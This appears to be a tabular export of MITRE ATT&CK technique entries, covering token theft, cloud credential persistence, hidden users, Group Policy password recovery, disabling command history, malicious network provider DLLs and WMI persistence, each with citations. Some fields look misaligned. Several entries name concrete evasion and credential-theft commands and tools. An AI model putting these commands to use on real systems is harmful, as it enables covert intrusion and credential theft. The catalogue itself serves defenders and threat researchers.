| enterprise-attack | Steal Application Access Token | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1528 external_id: T1528 source_name: Amnesty OAuth Phishing Attacks, August 2019 description: Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019. url: https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/ source_name: Auth0 Understanding Refresh Tokens description: Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved December 16, 2021. url: https://auth0.com/learn/refresh-tokens/ source_name: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019 description: Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019. url: https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/ source_name: Cider Security Top 10 CICD Security Risks description: Daniel Krivelevich and Omer Gil. (n.d.). Top 10 CI/CD Security Risks. Retrieved March 24, 2024. url: https://www.cidersecurity.io/top-10-cicd-security-risks/ source_name: Trend Micro Pawn Storm OAuth 2017 description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks source_name: Kubernetes Service Accounts description: Kubernetes. (2022, February 26). Configure Service Accounts for Pods. Retrieved April 1, 2022. url: https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/ source_name: Microsoft - Azure AD Identity Tokens - Aug 2019 description: Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens source_name: Microsoft - Azure AD App Registration - May 2019 description: Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app source_name: Microsoft - OAuth Code Authorization flow - June 2019 description: Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow source_name: Microsoft Identity Platform Protocols May 2019 description: Microsoft. (n.d.). Retrieved September 12, 2019. url: https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols | kill_chain_name: mitre-attack phase_name: credential-access | SaaS |
Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.
All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | enterprise-attack | Spearphishing Attachment | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1598/002 external_id: T1598.002 source_name: Sophos Attachment description: Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020. url: https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/ source_name: GitHub Phishery description: Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020. url: https://github.com/ryhanson/phishery source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf | kill_chain_name: mitre-attack phase_name: reconnaissance | PRE |
Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.
For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)
In infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the <code>CreateKeyPair</code> or <code>ImportKeyPair</code> API in AWS or the <code>gcloud compute os-login ssh-keys add</code> command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)
Adversaries may also use the <code>CreateAccessKey</code> API in AWS or the <code>gcloud iam service-accounts keys create</code> command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation)
In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.
(Citation: Crowdstrike AWS User Federation Persistence) | enterprise-attack | Additional Cloud Credentials | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/001 external_id: T1098.001 source_name: Crowdstrike AWS User Federation Persistence description: Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023. url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ source_name: Expel IO Evil in AWS description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. url: https://expel.io/blog/finding-evil-in-aws/ source_name: SpecterOps Azure Privilege Escalation description: Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022. url: https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 source_name: Demystifying Azure AD Service Principals description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ source_name: GCP SSH Key Add description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add source_name: Blue Cloud of Death Video description: Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019. url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 source_name: Blue Cloud of Death description: Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019. url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ source_name: Expel Behind the Scenes description: S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020. url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ source_name: Sysdig ScarletEel 2.0 description: SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023. url: https://sysdig.com/blog/scarleteel-2-0/ source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ | kill_chain_name: mitre-attack phase_name: privilege-escalation | IaaS |
An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) | enterprise-attack | User Execution | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1204 external_id: T1204 source_name: Krebs Discord Bookmarks 2023 description: Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024. url: https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/ source_name: Telephone Attack Delivery description: Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022. url: https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery source_name: Talos Roblox Scam 2023 description: Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game “Roblox”. Retrieved January 2, 2024. url: https://blog.talosintelligence.com/roblox-scam-overview/ | kill_chain_name: mitre-attack phase_name: execution | Linux |
An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware) | enterprise-attack | Internal Defacement | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1491/001 external_id: T1491.001 source_name: Novetta Blockbuster Destructive Malware description: Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016. url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf source_name: Novetta Blockbuster description: Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | kill_chain_name: mitre-attack phase_name: impact | Linux |
Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
In macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value <code>Hide500Users</code> to <code>TRUE</code> in the <code>/Library/Preferences/com.apple.loginwindow</code> plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the <code>Hide500Users</code> key value is set to <code>TRUE</code>, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the <code>dscl</code> utility to create hidden user accounts by setting the <code>IsHidden</code> attribute to <code>1</code>. Adversaries can also hide a user’s home folder by changing the <code>chflags</code> to hidden.(Citation: Apple Support Hide a User Account)
Adversaries may similarly hide user accounts in Windows. Adversaries can set the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList</code> Registry key value to <code>0</code> for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
On Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the <code>gsettings</code> command (ex: <code>sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true</code>).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary. | enterprise-attack | Hidden Users | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/002 external_id: T1564.002 source_name: Cybereason OSX Pirrit description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved December 10, 2021. url: https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf source_name: Apple Support Hide a User Account description: Apple. (2020, November 30). Hide a user account in macOS. Retrieved December 10, 2021. url: https://support.apple.com/en-us/HT203998 source_name: FireEye SMOKEDHAM June 2021 description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021. url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html source_name: Hide GDM User Accounts description: Ji Mingkui. (2021, June 17). How to Hide All The User Accounts in Ubuntu 20.04, 21.04 Login Screen. Retrieved March 15, 2022. url: https://ubuntuhandbook.org/index.php/2021/06/hide-user-accounts-ubuntu-20-04-login-screen/ source_name: US-CERT TA18-074A description: US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018. url: https://www.us-cert.gov/ncas/alerts/TA18-074A | kill_chain_name: mitre-attack phase_name: defense-evasion | macOS |
Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.
This behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one. | enterprise-attack | Make and Impersonate Token | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1134/003 external_id: T1134.003 source_name: Microsoft Command-line Logging description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing source_name: LogonUserW function description: Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024. url: https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw | kill_chain_name: mitre-attack phase_name: privilege-escalation | Windows |
Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)
These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)
The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:
* Metasploit’s post exploitation module: <code>post/windows/gather/credentials/gpp</code>
* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
* gpprefdecrypt.py
On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>
| enterprise-attack | Group Policy Preferences | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/006 external_id: T1552.006 source_name: Microsoft GPP 2016 description: Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11) source_name: Microsoft GPP Key description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018. url: https://msdn.microsoft.com/library/cc422924.aspx source_name: Obscuresecurity Get-GPPPassword description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018. url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html source_name: ADSecurity Finding Passwords in SYSVOL description: Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020. url: https://adsecurity.org/?p=2288 | kill_chain_name: mitre-attack phase_name: credential-access | Windows |
Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin.
Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. | enterprise-attack | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1048/002 external_id: T1048.002 source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf | kill_chain_name: mitre-attack phase_name: exfiltration | Linux |
Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.
With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018)
The AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API) | enterprise-attack | Cloud Account | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1087/004 external_id: T1087.004 source_name: Microsoft msolrolemember description: Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0 source_name: GitHub Raindance description: Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019. url: https://github.com/True-Demon/raindance source_name: Microsoft AZ CLI description: Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. url: https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest source_name: Black Hills Red Teaming MS AD Azure, 2018 description: Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019. url: https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/ source_name: AWS List Roles description: Amazon. (n.d.). List Roles. Retrieved August 11, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html source_name: AWS List Users description: Amazon. (n.d.). List Users. Retrieved August 11, 2020. url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html source_name: Google Cloud - IAM Servie Accounts List API description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020. url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list | kill_chain_name: mitre-attack phase_name: discovery | Azure AD |
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
In Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`.
On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd) | enterprise-attack | Process Discovery | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1057 external_id: T1057 source_name: show_processes_cisco_cmd description: Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022. url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760 source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A | kill_chain_name: mitre-attack phase_name: discovery | Linux |
Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected.
Adversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to "ignorespace". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.
On Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>). | enterprise-attack | Impair Command History Logging | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1562/003 external_id: T1562.003 source_name: Sophos PowerShell command audit description: jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. url: https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit source_name: Microsoft PowerShell Command History description: Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 source_name: Sophos PowerShell Command History Forensics description: Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. url: https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics | kill_chain_name: mitre-attack phase_name: defense-evasion | Linux |
Adversaries may register malicious network provider dynamic link libraries (DLLs) to capture cleartext user credentials during the authentication process. Network provider DLLs allow Windows to interface with specific network protocols and can also support add-on credential management functions.(Citation: Network Provider API) During the logon process, Winlogon (the interactive logon module) sends credentials to the local `mpnotify.exe` process via RPC. The `mpnotify.exe` process then shares the credentials in cleartext with registered credential managers when notifying that a logon event is happening.(Citation: NPPSPY - Huntress)(Citation: NPPSPY Video)(Citation: NPLogonNotify)
Adversaries can configure a malicious network provider DLL to receive credentials from `mpnotify.exe`.(Citation: NPPSPY) Once installed as a credential manager (via the Registry), a malicious DLL can receive and save credentials each time a user logs onto a Windows workstation or domain via the `NPLogonNotify()` function.(Citation: NPLogonNotify)
Adversaries may target planting malicious network provider DLLs on systems known to have increased logon activity and/or administrator logon activity, such as servers and domain controllers.(Citation: NPPSPY - Huntress) | enterprise-attack | Network Provider DLL | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/008 external_id: T1556.008 source_name: NPPSPY - Huntress description: Dray Agha. (2022, August 16). Cleartext Shenanigans: Gifting User Passwords to Adversaries With NPPSPY. Retrieved March 30, 2023. url: https://www.huntress.com/blog/cleartext-shenanigans-gifting-user-passwords-to-adversaries-with-nppspy source_name: NPPSPY Video description: Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023. url: https://www.youtube.com/watch?v=ggY3srD9dYs source_name: NPPSPY description: Grzegorz Tworek. (2021, December 15). NPPSpy. Retrieved March 30, 2023. url: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy source_name: Network Provider API description: Microsoft. (2021, January 7). Network Provider API. Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/secauthn/network-provider-api source_name: NPLogonNotify description: Microsoft. (2021, October 21). NPLogonNotify function (npapi.h). Retrieved March 30, 2023. url: https://learn.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify | kill_chain_name: mitre-attack phase_name: persistence | Windows |
Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts – using `mofcomp.exe` –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. | enterprise-attack | Windows Management Instrumentation Event Subscription | source_name: mitre-attack url: https://attack.mitre.org/techniques/T1546/003 external_id: T1546.003 source_name: FireEye WMI 2015 description: Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf source_name: Dell WMI Persistence description: Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. url: https://www.secureworks.com/blog/wmi-persistence source_name: FireEye WMI SANS 2015 description: Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf source_name: Medium Detecting WMI Persistence description: French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. url: https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 source_name: Elastic - Hunting for Persistence Part 1 description: French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. url: https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 source_name: Mandiant M-Trends 2015 description: Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016. url: https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf source_name: Microsoft Register-WmiEvent description: Microsoft. (n.d.). Retrieved January 24, 2020. url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 